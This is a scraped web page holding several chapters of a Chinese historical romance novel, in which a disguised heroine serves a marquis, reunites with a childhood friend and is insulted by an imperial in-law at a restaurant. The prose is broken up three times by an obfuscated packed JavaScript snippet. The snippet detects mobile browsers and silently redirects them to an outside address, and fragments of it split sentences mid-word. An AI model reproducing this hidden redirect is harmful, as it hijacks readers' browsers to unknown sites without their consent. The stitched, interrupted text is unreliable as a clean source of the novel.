;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556916|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
故的架势,聊了没几句就开始称兄道弟了。
顾初禾管他叫白大哥,白忱唤她郁老弟,二人旁若无人地大口喝酒,大口吃肉,越聊越兴奋,几乎把陆砚舟这个侯府的主人给忘了。
你一言我一语,从京城轶事聊到战场厮杀,顾初禾听得两眼放光,对什么都很感兴趣。
陆砚舟坐在一旁,面上虽带着笑,眼中却隐隐有几分不悦,素来不喜饮酒的他,今晚已经较平日多喝了四五杯。
白忱握着酒杯的指节微微泛白,谈及讨伐塞北时的艰难岁月。
“塞北那帮贼子,无故冒犯我边境,烧杀抢掠,就连妇人与婴儿都不放过。”,提到那场战役时,白忱的眼中仍透出对蛮人的记恨,“朝中那些文臣还说什么新帝登基不久,根基不稳,冒然开战只怕劳民伤财,真真是内忧外患!”
“尤其是那佟国丈,竟还提出让连卿公主远嫁和亲!他自己的女儿倒是稳坐后宫,尽享富贵了,一家子仗着是皇亲国戚四处欺压百姓,一点我们大承国人的风骨都没有!”
他越说越气愤,双眸猩红,猛地仰头将满杯的酒吞咽了下去……
“幸而陛下没有听信他们的谗言,加之侯爷英勇,以一人之力主战不议和,终究是说动了陛下,这才镇压了塞北之乱。”
白忱说了这许久,最后几句话才算是说进了陆砚舟的心里,他正故作不在意地等着白忱继续往下说呢,可他话锋一转竟又夸赞起了什么塞北风光…
“京城虽繁华盛极,但若论月色,还是塞北的夜晚更有一番风味,”,白忱的眼神中流露出陶醉,“漫天的繁星密密麻麻,璀璨夺目,比我在京里见过的任何星空都要壮观。躺在草地上,仿佛整个天际都在我眼前。”
顾初禾从没去过那么远的地方,听得如痴如醉,加上喝了几杯酒,此时眸光都变得迷离了起来,她趴在桌上侧身倾听,一个字都不愿漏掉。
“哎对了,在塞北那会儿还有一桩有关侯爷的故事呢,差一点啊,咱侯爷可就回不来了…”,白忱说着偷瞄了陆砚舟一眼,脸上露出神秘又诡异的微笑。
陆砚舟像是知道他准备说些什么,正夹菜的手一顿,有种不好的预感,抬眸看向白忱,眼中带了警告。
顾初禾好奇,眨眨眼,放下酒壶,笑着追问:“什么故事什么故事,白大哥,快说与我听!”
白忱没管陆砚舟的眼神,放下酒杯,似笑非笑:“当时两军交战正是焦灼之时,双方僵持不下,谁也胜不了谁。侯爷便想着潜入塞北部落打探消息,谁成想有个异族女子,对侯爷一见钟情,十几个人将侯爷团团围住,当晚便要让他们洞房!”
这话一出口,陆砚舟瞄了一眼顾初禾,手一抖酒杯里的酒洒了出来,他用力一拍桌子,怒瞪着白忱道:“闭嘴!”
顾初禾听得正在兴头上,结果陆砚舟不让说了,她悄悄在桌子下面拉扯白忱的袖口,“后来呢后来呢?”
“剩下的,回头我悄悄说给你听…”,白忱凑在她耳畔悄声道。
他们俩这亲密的小动作落到陆砚舟眼里更是刺眼…
20. 吃味
不多时,桌上杯盘狼藉,菜肴已被风卷残云般吃去七七八八,酒壶东倒西歪…
白忱领口微微敞开,发丝有些凌乱,醉眼朦胧,手指胡乱比划着,大着舌头说:“如今朝中奸佞横行,官官相护,不知民间疾苦。后妃中无人诞下皇子,绫王等人狼子野心,便不敬圣上,对帝位虎视眈眈,皆欲取而代之,实在可恶…”
他这番话确为实情,却只可意会不可言传,这也就是在侯府,若是换作别的地方,但凡有一丝风声传出去,只怕他就要身首异处了。
陆砚舟斜眼看了看他,好心提醒道:“少说胡话,若是醉了就回房去睡。”
刚开春,入了夜还是有些凉意,一阵寒风吹进来,顾初禾打了个喷嚏。
“明早要进宫面圣,不宜多饮…”,陆砚舟起身,独自往院里吹了吹风醒酒,继而转了脚步回房歇息。
“嗯?侯爷这就不喝了?”
顾初禾注意到陆砚舟的酒杯里还剩有大半,加之他今夜饭菜也少吃,不禁猜想他是不是心情欠佳,或是明日入宫又有什么棘手之事,莫名为他担忧了起来。
“侯爷自四年前就不过度饮酒了,只因当初救他的那位女子说喝酒误事。”,白忱酒量还不错,一个人喝了近两壶酒都没醉倒,挑了一粒花生米丢进口中,边嚼边说。
顾初禾闻言心中一颤,她没想到自己年幼时的一句诫言,陆砚舟竟真的奉行了四年。
“白大哥,你是什么时候来侯爷身边的?”,她垂眸轻笑,侧身好奇问道。
“也是四年前吧…”
说起这个,白忱的眸光黯淡了下来,脸上渗出几分歉意。
“侯爷有没有跟你说,他父亲是怎么去世的?”
“没有。”,顾初禾摇头。
“四年前,我和父亲去医馆抓药,路途中不小心挡了绫王的座驾。可那马车里压根没人,他的手下却肆意欺压百姓,不由分说便殴打我与父亲。”
白忱左手按在餐桌上,用力支起身体站了起来,摇摇晃晃,直接拎起酒壶,仰头往自己喉管里倒…
“有位义士路见不平,仗义执言,替我们说了几句话,却被活活打死。见出了人命,绫王的手下才仓皇而逃。事后我才得知,那位义士便是侯爷的父亲…”
顾初禾的记忆拉回到了四年前,那晚她从火中救出陆砚舟后,他说自己的父亲是因意外而亡…
原来,是这样的意外。
他的父亲用命换下了白忱父子的命,也正是从那之后,白忱为了报恩就时常跟在陆砚舟的身边。
陆砚舟上战场,他便勤练武艺,一路做到了副将的位置。
四年来,他与陆砚舟共同杀敌,同吃同住,早已超越了一般的战友之情,更像是异姓兄弟。
“有朝一日,我定要绫王血债血偿!”
时隔四年,白忱仍旧对陆砚舟心怀愧意,也因当年之事恨极了绫王。
当初顾初禾刚进京城时,便在酒楼里听闻了陆砚舟与绫王的不睦之事,那时她只以为是两个位高权重的京官在争圣宠,没想到这背后还有一桩血海深仇…
顾初禾没忘记自己留在侯府的目的,借着酒意,故作漫不经心地问道:“白大哥,我听闻侯爷与一位法名净尘的高僧交往甚密,不知是何情由?”
“当年侯爷在天福寺为父超度,是净尘师父带着做的法事,二人之间亦师亦友吧。”
白忱侧身倚着墙,将自己知道的内情娓娓道来。
“后来,新帝登基后,净尘师父云游四海,已经好久没回来过了。”
“亦师亦友…”,顾初禾在口中将这四个字重复了一遍,她原以为他们二人是有些私交,却不想竟是师友之谊。
若此话当真,只怕她想为爹娘报仇的话,势必要得罪且伤害到陆砚舟了。
“是啊。”
白忱并未察觉她的异样,自顾自地说道:“每年侯爷生辰,他都会来庆贺,再不到两个月,净尘师父也该回来了。”
明月高悬,已是子时,除了巡查的府兵,管家与仆众皆已入眠。
白日里喧闹的前厅后院,此刻灯火渐次熄灭,唯有几盏灯笼散发着微弱的光,整个侯府都变得静谧无声。
白忱在京中有一座小宅院,却不常回。
为了随时听候差遣,他一般就宿在侯府里独属自己的那间客房。
二人一道回西院,勾肩搭背摇摇晃晃,看背影瞧着真像是一对活宝兄弟。
顾初禾回到屋里,掌心托腮站在窗前,静静地望着窗外的夜色。
她的眼神中透着一丝落寞与孤寂,轻轻叹了口气,又转身走到床边,缓缓吹灭了蜡烛。
黑暗瞬间将她笼罩,她迅速躺到床上盖上被子,却翻来覆去一整夜…
次日清晨
府中的仆人们早已忙碌开来,有序地穿梭在各个庭院之间。
小厮们手持扫帚,正一丝不苟地清扫着前院的石板路。他们的动作利落,将昨夜被风吹落的花瓣枯叶聚拢在一起。
几名婢女手提水桶,舀水浇灌在娇艳的花丛间。
顾初禾穿衣洗漱,推门走到院里,抬头瞧见阳光透过树叶的缝隙,洒下斑驳的光影。
春风和煦,这便是最美好的光景了。
她脚步轻盈,穿过回廊往东院去,路途中两名婢女朝自己迎面而来,手中的托盘盖着明黄绸缎,那绸缎在日光下闪烁着柔和的光泽。
“二位姐姐,这是何物?”,她一个跨步拦住了婢女们的去路,好奇问道。
“您有所不知,二月初九是侯爷的生辰,陛下专门派了内监来督使我们早些装点侯府,这里面是御赐的宝物,正要送去入库呢。”
经昨日云翠闹事被罚传开后,侯府里的下人都不敢再轻视顾初禾了,都怕得罪“他”,也被侯爷训斥,因此言语与称呼上皆恭敬不少。
顾初禾的目光停在明黄盖布上,这尊贵显眼的色泽时刻彰显着皇家的无上威严。
很快,她又抓住了婢女言语中的另一重点,好奇问道:“侯爷也是二月初九的生日?”
“是呀,还有谁是这日过生辰吗?”,婢女们对视一眼,反问道。
“啊,没,没有…”,顾初禾让出道来,请两位婢女先行。
她独自站在回廊下出神了许久,不禁在心中感叹,世上竟有如此巧合之事,她…也是二月初九出生的。
陆砚舟与白忱天一亮就入宫了,并未留下只言片语要求顾初禾今天该做些什么。
她在府中待着也是无所事事,便想着回一趟郁春琅家。
京城的街头熙熙攘攘,叫卖声车马声交织着,吵嚷不息。
顾初禾好些日子没回去了,不知道妹妹跟在春琅身边听不听话,也不知郁老伯身体好不好。
她租了辆马车,先后在城中的糕点铺和胭脂铺买了点东西,又抓了几剂补药给郁老伯补身子。
可就在她准备齐全,即将登上马车回家之时,突然,一只手从背后伸来,猛地抓住她的胳膊,将她拽进了一旁的巷子里。
顾初禾惊恐地瞪大了眼睛,心脏瞬间提到了嗓子眼,本能地想要呼救。然而,还没等她发出声音,一双手便捂住了她的嘴。
“禾儿,是我!”
一个熟悉而又带着几分急切的声音在她耳边响起。
顾初禾身子一僵,原本剧烈挣扎的动作瞬间停了下来。
她缓缓转过头,借着从巷子口透进来的光线,看清了眼前人的面容。
“童墨哥哥?”,顾初禾的声音带着一丝颤抖,眼中满是难以置信。
四年未见,童墨的身形较之前更加挺拔,轮廓也变得更加坚毅,曾经的少年稚气已全然褪去。
童墨松开了捂住她嘴巴的手,眼眶微微泛红,嘴角却勾起一抹欣喜的笑容:“禾儿,真的是你!我找了你好久。”
历经了这么多磨难,再次见到童墨,顾初禾的心中五味杂陈,年幼时两家交好,一起欢笑的岁月仿佛就在昨天。
喜悦,激动,委屈等情绪交织在一起,她再也抑制不住心中的情感,鼻头一酸,泪水瞬间夺眶而出。
两人是一起长大的情分,许多话不必多言。
童墨心疼地紧紧抱住她,仿佛一松手,她就会再次消失。
他轻轻拍着她的后背,安慰道:“禾儿,这些年,苦了你了。”
过了许久,顾初禾的情绪才渐渐平复下来。
她抬起头,看着童墨,眼中满是关切:“童墨哥哥,这些年你可还好吗,童伯伯和伯母怎么样?当年我家那件事,你们有没有受牵连?”
童墨温柔地为她拭去眼泪,微微叹了口气,说道:“你放心,爹娘一切都好。自从顾家出事以后,我们一直都在找你和长意,能找的地方几乎都找了,却没想到你竟然会躲到京城来。”
“我也是被逼无奈,本来能投靠的人就不多,却也各有苦衷,无法收留我们姐妹。好在辗转来到京城后,一切都还算安逸顺利。”
她将这四年来的苦楚酸痛轻轻带过,抽泣着追问,“对了,秋娘如何了?还有其他匠人呢?”
童墨握着她的肩膀,轻声抚慰道:“都没事都没事,他们都很好。当年官府将他们带走审问了三日,什么都没问出来,便无罪释放了。”
“巫蛊案在民间流传开时,我与父兄已出了奉州城,得知伯父伯母去世,我们连夜赶回顾家,结果连尸身都没有看到,据母亲说是被官府的人带走了…”
至今,他回忆起那场变故时,还像是在做梦一般,他怎么也不能相信顾氏夫妇会和巫蛊案扯到一起。
说着,他从怀中掏出一块玉牌,递到顾初禾的面前,“顾宅的院门贴上了封条,我用轻功翻进了内院,家中值钱的物件都被官府收走了。我沿着院墙走,竟在角落里捡到了这个,不知是谁的…”
“这是什么?”,顾初禾迅速接过玉牌前后翻转,看了又看,在玉牌背面看到一行小字,歪歪扭扭,不是中原文字,她看不懂。
童墨摇摇头,“我也看不懂,正面是佛像,背面刻的字就不知道是什么意思了。”
“对了,去岁除夕夜,我在顾家门口遇到了秋娘。她跪在你家门外给顾伯伯和伯母烧纸钱,哭得撕心裂肺…
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556917|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这四年来她也一直在找你,要不要拖个口信给她?”
“还是先别了,她知道的越少,越安全。”
提起秋娘,顾初禾又忍不住落泪了,她哽咽道:“还烦请你,闲暇时多帮我去看看她。”
童墨垂眸叹息,接着才注意到她身着男装,不禁好奇问道:“禾儿,你为何要这身打扮?”
“哦,这样打扮出入方便些。”,她低头看了看自己的着装,竟不觉得有什么不妥,多年来女扮男装都已经习惯了,就连声音好像也变粗了…
“禾儿,跟我回去吧,我会好好保护你的,别在京城了,这地方不安全。”,童墨实在不忍心再看她这样流落在外,抓起她的手腕就要带她走。
顾初禾连忙甩开他的手,并向后退步,斩钉截铁道:“不行!我好不容易在景义候府查到了一些关于爹娘之死的蛛丝马迹,如今刚有些头绪,我不能走!”
“你在景义候府?这怎么能行,太危险了!”
顾初禾知道童墨是在关心她,可仇人还没有揪出来,她要是就这样走了,实在心有不甘。
她声泪俱下地望着他,“童墨哥哥,如果是你爹娘遇难,你难道就这么不了了之了吗?你就不想查出真相,找到幕后黑手?”
“就算查到了,你又能怎么样?那人既然有手段能操控大臣和天福寺的住持为他做事,必定是位高权重。”
童墨眉头紧皱心急如焚,双手紧紧按着她的肩头,急切地问道:“你一个平民女子,怎么扳倒他?”
顾初禾点点头,落下一行热泪,同样语气恳切地说道:“是,或许我确实不能扳倒任何人,但至少我不能让父母死得不明不白。”
“你决定了吗?真的要这么做?”
童墨与她对视了许久,从她的眼中看出坚定的决心,他知道自己是拗不过她的…
“好,那我留在京城陪你。”
“不成,我做的事不能牵连到你!”,她连声拒绝道。
“你我从小一起长大,如今你身涉险境,我怎能坐视不理。”
他低头一笑,缓缓道:“你放心,我不靠近侯府,就在这附近住着,你有什么消息可以传递给我,若有什么事也尽管交给我去办。我一个走镖的来去自由,也方便隐蔽,没人会怀疑到我。”
这番话,令顾初禾心中温暖踏实,童墨还和当年一样护着她,帮着她…
“可这件事,不是一日两日能办成的。”
“不管多久,我都陪你。”
二人相视一笑,仿佛世事未曾更改,依旧是少年时那般纯净美好。
童墨说有个东西在住处放着,需要亲手交给顾初禾,她便跟着去了客栈。
客房卧房内
童墨从包袱里取出一只拨浪鼓,小心翼翼地递给顾初禾。
“这个…是我在顾家,你的房中拾到的。”
当年官府的人抄了顾家,但凡值点钱的物件都被搬走了,而这样的小玩意儿没什么用处,也就遗落在了房里。
顾初禾走近他,缓缓抬起手接过,“这是爹爹亲手给我做的拨浪鼓…”
她甩了甩,还在响,就像当年爹娘趴在床头哄她睡觉时的声音一样,往昔的欢声笑语似在耳畔回响,就好像他们还在…
她将拨浪鼓按在心脏的位置,泪水不受控制地夺眶而出,压抑许久的悲痛终于决堤。
“爹娘…我好想你们…”
她的哭声在客房里回荡,满是思念与无助。
曾经的温暖的家,随着爹娘的离去,都已化作泡影。只剩她在这世间守着破碎的回忆,陷入无尽伤痛。
童墨一个阔步上前,心疼地将她搂进怀里,轻抚她的后背,轻声安慰…
许久后,她才从悲伤中缓过神来,将自己这些年的遭遇一一告诉了童墨,连同自己和长意住在郁春琅家,改了姓氏也一并说与他知晓。
童墨静静地听着,越听眉头皱得越紧,疼惜之情如潮水般翻涌,同时也感激郁春琅对她们姐妹的照顾。
“我陪你一起回一趟郁家,将东西送过去吧。”
如果说她在这世上仅有两个可以完全信任的人,那么一个是郁春琅,另一个必然是童墨了。
既然二人都是最值得顾初禾依靠和信赖的,那引荐他们认识认识也是应该的。
她点点头,同意了童墨的提议。
两人一前一后下楼,出了客栈的门。
顾初禾正欲登上马车,身旁的童墨贴心地伸出手,扶着她的胳膊。
可就在即将她踏入车厢的瞬间,一阵熟悉又带着几分寒意的声音自身后传来:“郁初禾…”
“你干什么去?”
她身形一僵,心脏猛地一缩,缓缓转身。
只见陆砚舟负手而立,双眸紧紧盯着她与童墨交握的手。
这一眼,吓得顾初禾脚下不稳,一个踉跄就要摔倒。
千钧一发之际,童墨眼疾手快长臂一伸,稳稳地将她揽入怀中,关切道:“小心!”
陆砚舟咬牙,将他们的举动尽收眼底,瞬间面容铁青一片,眸中渗出疑惑与不悦。
21. 讥讽
“侯爷,您不是入宫了吗?”,顾初禾见他心情不佳,不敢惹他生气,忙跳下马车恭敬问道。
童墨从未见过她如此低声下气地对谁说过话,以前在家时,她备受爹娘疼惜,秋娘也是拿她当亲生女儿般宠着。
可如今,陆砚舟高高在上,一句话就吓得她站都站不稳了。
童墨在心里狠狠记了一笔,私以为顾初禾在侯府的日子过得凄苦无比,日日都受到陆砚舟的欺压…
“你瞧瞧这日头,已是什么时辰了?”,陆砚舟昂首挑眉,不怒自威。
顾初禾听了他的话抬头看了一眼…
天刚亮陆砚舟就入宫了,此时已过午时,原来她竟和童墨在客房里叙旧了两个多时辰!
“初禾…”,童墨怕她受委屈,轻唤了一声。
“呃…童,童大哥,这些东西麻烦就您帮我跑一腿了,多谢多谢。”
顾初禾转过身面向他使眼色,暗示他不要冲动,也不要暴露自己的身份。
童墨看懂了她的意思,握拳后退了一步,不再多言。
而这时,陆砚舟却问了句:“这位是?”
“这位是我旧时好友,童二公子。小人多日不曾归家,便托他帮我将这些东西带回去…”
顾初禾童墨护在身后,像护犊子一样,生怕陆砚舟刁难。
这一举动反倒令陆砚舟更加不悦,他咬着牙根冷哼一声,道:“既如此,事若了了,也该…”
他话还未说完,顾初禾便躬身行礼,接话道:“是是是,小人这就随您回府。”
-
侯府
陆砚舟只觉气血上涌,平日里沉稳的他,一路脸色阴沉,径直进了书房。
顾初禾轻手轻脚跟进书房,走到他身旁,“侯爷,您这是怎么了?是被陛下训斥了吗?”
她探头察言观色,陆砚舟久像没听见一般,低头在军务文书上批注。
无奈,她只好闭嘴,帮他研磨。
可他却突然将砚台抽走,转手放到了另一边。
“侯爷,您究竟是为什么动怒呀?就因为我私自出府,买了点东西?”,顾初禾不懂他在想什么,只能一件一件去猜,猜得她也有几分不耐烦了。
陆砚舟没说话,只是手中的笔杆一顿,她这话说得倒是接近了…
“可,可我花的也是自己的钱呀…”
“谁跟你提钱了?”
“那,那您是因为什么?”,顾初禾又气又急,可还得顾着他是侯爷的身份,言语上不敢太过激烈逾矩,语调几转,竟有一丝委屈的意味。
见她的脸和脖子涨得通红,声音中也带着几分哽咽…
陆砚舟本还梗着脖子,刹那间,满腔怒火竟像被泼了盆冷水,熄灭得干干净净。
他张了张嘴,刚要说些什么的时候,书房外,白忱不知屋内气氛焦灼,直接就冲了进来。
“侯爷,府门外突然来了好些人,说要求见您呢。”
陆砚舟侧眼看了看顾初禾,又对着白忱道:“把人带进来。”
先前新帝选秀出了岔子,绫王强占民女一事闹得沸沸扬扬,陛下心烦意乱便下旨取消选秀,当年所有的秀女皆已返家。
而告发绫王的,正是陆砚舟。
事后,绫王被革去了辅政之权,只保留了他的尊贵名位,他便因此彻底与陆砚舟交恶。
如今皇嗣寥寥,只有皇后与萧妃各生有一位公主,目前一位皇子都还没有。
前朝大臣们整日都在谏言,力劝陛下选妃入宫。
陛下信不过别人,这差事便落到了陆砚舟头上。
今早选妃之事刚刚议定,朝中的达官显贵便纷纷登门拜访,都想把女儿送进宫中。
白忱去前院引人,借着他不在的功夫,陆砚舟咳了两声,给自己找了个台阶下,“你先前做过账房,待会儿便将来人的姓名,以及携带的物品一一记下,可别弄错了。”
陆砚舟既已先开口说了软话,她也就顺杆而下了,点点头道:“是。”
侯府门前,一辆辆装饰奢华的马车缓缓驶来。
礼部尚书洪大人满脸堆笑,身后的家丁抬着几个沉甸甸的箱子,里面装满了金银珠宝珍稀古玩,说是给侯府的“一点心意”,希望自家女儿在选秀中能被陆砚舟多多关照。
陆砚舟热情招待了他,将府中最好的茶叶都拿了出来。
还没等礼部尚书离开,又有几位朝中大臣接踵而至。
有的带来了江南的丝绸,西域的香料,有的送上了名家字画,稀世珍宝。
众人寒暄着,言语间尽是对陆砚舟的恭维,实则都在为自家女儿的前程铺路。
门房应接不暇,门槛都快被踏破了。
侯府的管事忙得焦头烂额,一边要笑脸相迎这些达官显贵,一边又要安排人把这些礼物妥善安置。
顾初禾从未觉得笔杆有这么重,她记录了一下午,都还没登记完…
应承完这些官员之后,陆砚舟用指节按压着太阳穴,眉头微皱,长长地叹了声气。
这选秀本是为皇帝挑选贤良淑德的女子,如今却成了这些大臣攀附权贵,谋取私利的契机,可见如今朝堂风气何其不端。
白忱与顾初禾并肩跨进书房门槛,见陆砚舟神色倦怠,就知道他有多痛恨这种钱权交易的劣行。
“侯爷,所有的礼物都已入库,这是登记好的名册,您过目。”,顾初禾将册子轻轻放在书案上。
陆砚舟随意翻了几页,并未细看,但从密密麻麻的文字看来,侯府的内库怕是都要塞满了。而他对于阿谀之人进献的奇珍异宝来者不拒,统统收纳入库,只因边关战乱四起,国库不足,暂不足以支撑大军行进,甚至连兵器都做不到人手一件。
此时这些人主动捧着钱来孝敬,陆砚舟岂有不收之理,刚好用这些财帛锻造兵器,不必过明账,还免去了兵部中饱私囊。
且他此番行为都是在陛下面前报备过的,即便将来有人参他收受贿赂,也是无用。
白忱瞧出他心事繁重,于是提议道:“侯爷,饿了吧?要不咱上跃金楼吃点好的去?”
陆砚舟抬起头看着他,笑问:“怎么,月俸涨了?”
“就算不涨月俸,难道一顿饭还吃不起嘛…”,白忱最擅长插科打诨的,他憨厚一笑,转身又看向顾初禾,“你也辛苦了大半日,同去吧。”
“跃金楼?”
顾初禾今日在街头还听闻了跃金楼刚招了两个新厨子,说是西北过来的,手艺绝佳。
她听得嘴馋,想去,又怕陆砚舟还因为先前的事生气呢…
“那就去吧。”,陆砚舟对新菜式没什么兴趣,但他看白忱和顾初禾馋得都快流口水了,也便妥协了。
侯府门外,管事备好了车轿
陆砚舟先上了马车,独自坐在一边,白忱与顾初禾并肩坐在他的对面。
白忱自由惯了,一时间三个人挤在一辆马车里,浑身跟有刺儿似的挪来挪去。
“侯爷,咱为什么不骑马呀?您不是最不喜欢坐马车,嫌拘束得很吗?”
“侯爷不喜欢乘车呀?”,顾初禾两次跟陆砚舟出门都是乘马车,她还以为他挺享受的呢。
陆砚舟不语,双臂环抱于胸前,闭眼听着他们的对话。
“哎?郁老弟,你会骑马吗?”,白忱拱了拱她的胳膊问道。
顾初禾点点头,有些惭愧地笑道:“会一点,但对不熟悉的马儿还是有些发怵。”
“哦~原来侯爷是为了你着想啊。”,白忱随口调侃道。
车轮滚滚向前行进,车厢内三人因小小的颠簸有些晃动。
顾初禾趁着车马晃动的同时,偷偷看了一眼陆砚舟,心想难道他真的是因为自己才不骑马的?
可片刻后,她又觉得自己实在想太多,他可是堂堂侯爷,哪有为下人纡尊降贵的…
光是她今早擅离侯府那件事,他就生了好大的气,怎么可能会是为了她改乘马车的,一定是今夜风大,他怕寒凉受风才不骑马的。
跃金楼楼下
三人刚踏入酒楼,嘈杂的人声便传入耳中。
店小二眼尖,见他们衣着不凡,立刻迎了上来,满脸堆笑:“客官里边请,楼上雅间安静,小人引三位上楼就坐。”
上了楼,进了雅间,顾初禾打量着四周,屋内布置雅致,桌椅雕花精美。
陆砚舟坐在中间主位,白忱挨着他,顾初禾则挨着白忱,还刻意空出好大的距离,不愿与陆砚舟坐得太近。
白忱点了菜,又要了壶好酒。
不多时,店小二便端着酒菜鱼贯而入,一道道色香味俱佳的菜肴摆满了桌子。
用餐时,顾初禾也尽量不跟陆砚舟搭话,他们俩的异常举动,终究还是引起了白忱的注意。
“侯爷,你们这是怎么了?来时的路上,我便觉得不对劲,可是郁老弟办错了什么差事?”
白忱看得出陆砚舟没动太大的气,否则早就将顾初禾轰出侯府了,哪里还会带他来这么好的酒馆吃饭。
“他年纪尚小,又是刚来您身边侍奉,难免有不周到的地方,您大人不记小人过,就别跟郁老弟计较了…”
他在中间做起了和事佬,昂昂下巴,示意顾初
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556918|171315||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禾先低头认个错,这事儿也就过去了。
“郁老弟,你赶紧敬侯爷一杯赔个不是。”
可顾初禾见陆砚舟一个劲地喝酒,丝毫没有和她碰杯的意思,她抹不下面子,也便坐着一动不动。
白忱见他俩互不搭理,自个儿也恼了起来。
“行,都不听我的…那我喝!”
他提起酒壶一杯接一杯地给自己倒酒,菜还没吃几口,就开始打嗝了。
酒壶喝空了,他摇摇晃晃地扶着墙打开雅间的门,声音也较平时大了不少:“小二,给我们这儿再加两壶好酒来!”
他这一嗓子喊的,店小二没听见,倒是惊动了隔壁雅间的佟却尘。
佟却尘与一群文臣家的公子在此交际,听见白忱的声音,便猜出陆砚舟也在这里。
他从隔壁雅间出来,与白忱对视上…
“佟国舅,您也在这儿?”
“白副指挥使一向少见,听闻您护送景义候老夫人去奉州修行,没想到这么快就回来了?”,佟却尘负手而立,不仅不回礼,反而心不在焉地探头望向雅间内的陆砚舟,脚步也向着雅间靠近。
“奉州本就在京城周边,来去不过几日而已。”,白忱伸手欲拦,不想让他坏了陆砚舟的好兴致,可谁知佟却尘视而不见,直接就闯了进去。
“哟,这不是侯爷吗?”,佟却尘声音尖锐,带着几分嘲讽。
顾初禾抬眸,只见他身着锦衣,摇着折扇大步走来。
佟却尘今日与往常攀附陆砚舟的神情大相径庭,满脸不屑冷嘲热讽道:“侯爷一向清正廉明,鲜少在外流连,怎么今日来了跃金楼这么个声色之所。我还以为您与我们这些游手好闲的世家公子不同呢,不想也是贪恋浮华之人。”
陆砚舟则神色平静,不慌不忙地放下酒杯,嘴角勾起一抹淡淡的笑意,“国舅爷此言差矣,这京城的烟火气,也是民生百态。本侯偶尔来此休闲,亦是体察民情,有何不可?”
佟却尘脸色一僵,被噎得说不出话来,手中的折扇也停了下来。
他心中恼怒,却又找不到反驳的理由,只能强装镇定,冷哼一声:“侯爷合该做个文臣才是,您这嘴皮子上的功夫,可比武艺厉害多了。”
诸如此类唇枪舌战的场面,白忱见得多了,他从来都不觉得自己侯爷会落下风,只安静在一旁看戏,倒是顾初禾吓出了一身冷汗。
陆砚舟却不与他计较,轻轻端起酒杯,浅酌一口,悠然道:“口舌之争,毫无意义。国舅爷若无事,不妨一同坐下,品一品这跃金楼的美酒佳肴。”
他以礼相待,佟却尘反而陷入了进退两难的境地,脸上一阵青一阵白。
“侯爷盛情,本不该推辞,只是我佟家家风严谨,绝不与下人同席用餐。”
佟却尘言语尖锐,句句带刺,讥讽顾初禾身份低微,不配与他坐在一起。
“侯爷请便,告辞了…”,他转身离开之前,还轻蔑地扫了顾初禾一眼,见她神情局促不安,才心满意足地回了自己的雅间。
佟却尘的父亲是文官,文臣武将本来就不对付,陆砚舟又接了为陛下选秀的差事。
佟却尘的姐姐是皇后,他自然不愿意其他女人分姐姐的恩宠。
加之上次听陆砚舟说顾初禾是个门客,就以为陆砚舟接手选秀之事是她提议的,便通过贬低顾初禾的身份,来嘲笑陆砚舟的侯府没有规矩。
听见隔壁雅间的门吱呀合上,顾初禾的脸色难看到不能更难看了,尽管气得发抖,但她还是忍了下来,双手握拳指甲掐进肉里,握出一道道血印…
陆砚舟余光瞥见她隐忍的动作与表情,还未开口,外面走廊上的白忱猛地捶了木门一拳,咬牙切齿地就准备冲去隔壁替顾初禾出气。
“白忱。”,陆砚舟叫住了他,“小不忍则乱大谋。”
“侯爷!那厮是借着讥讽郁老弟侮辱您呢!我这就去给他两拳,打得他门牙掉光,看他还怎么耍嘴皮子!”
陆砚舟已明说了让白忱忍耐一时,可他依旧咽不下这口气,提起拳头就往前冲。
陆砚舟横眉冷脸,对着桌子用力拍了一掌,桌上的菜碟齐刷刷震了一下,发出叮铃铛啷的碰撞声,酒壶在桌子边缘晃了一圈,幸好顾初禾眼疾手快扶稳了。
“我让你站住!”
白忱见他动了怒,脚步这才停了下来,回身看了过去,“侯爷…”
“回府!”
这么一折腾,陆砚舟也没心思吃饭喝酒了,他起身拂袖下楼。
顾初禾与白忱紧随其后,一路上三人坐在车厢内谁也不吭声,气氛尴尬又紧张…
22. 甘来
侯府门前
陆砚舟跳下马车,径直回了卧房,任凭白忱在身后如何唤他,他都不理睬。
顾初禾看了看眼色,默默地回了西院…
“呼…这一天天的,都什么事儿啊!”,她推开房门,一屁股坐在圆凳上,想给自己倒杯水喝,水壶却是空的。
她拎起茶壶往厨房去,打算烧点热水暖暖自己被佟却尘打压欺辱过的内心。
刚走到回廊下,却见白忱垂头丧气地迎面而来。
“白大哥,侯爷还是不肯说话吗?”
“是我不好,明知道这时候正是要选秀的节骨眼儿,朝堂上多少双眼睛都盯着咱侯爷,生怕找不出错来!我还那么意气用事,要真是打伤了国舅爷,文武官员之间的隔阂就更深了,陛下夹在中间也会两相为难…”
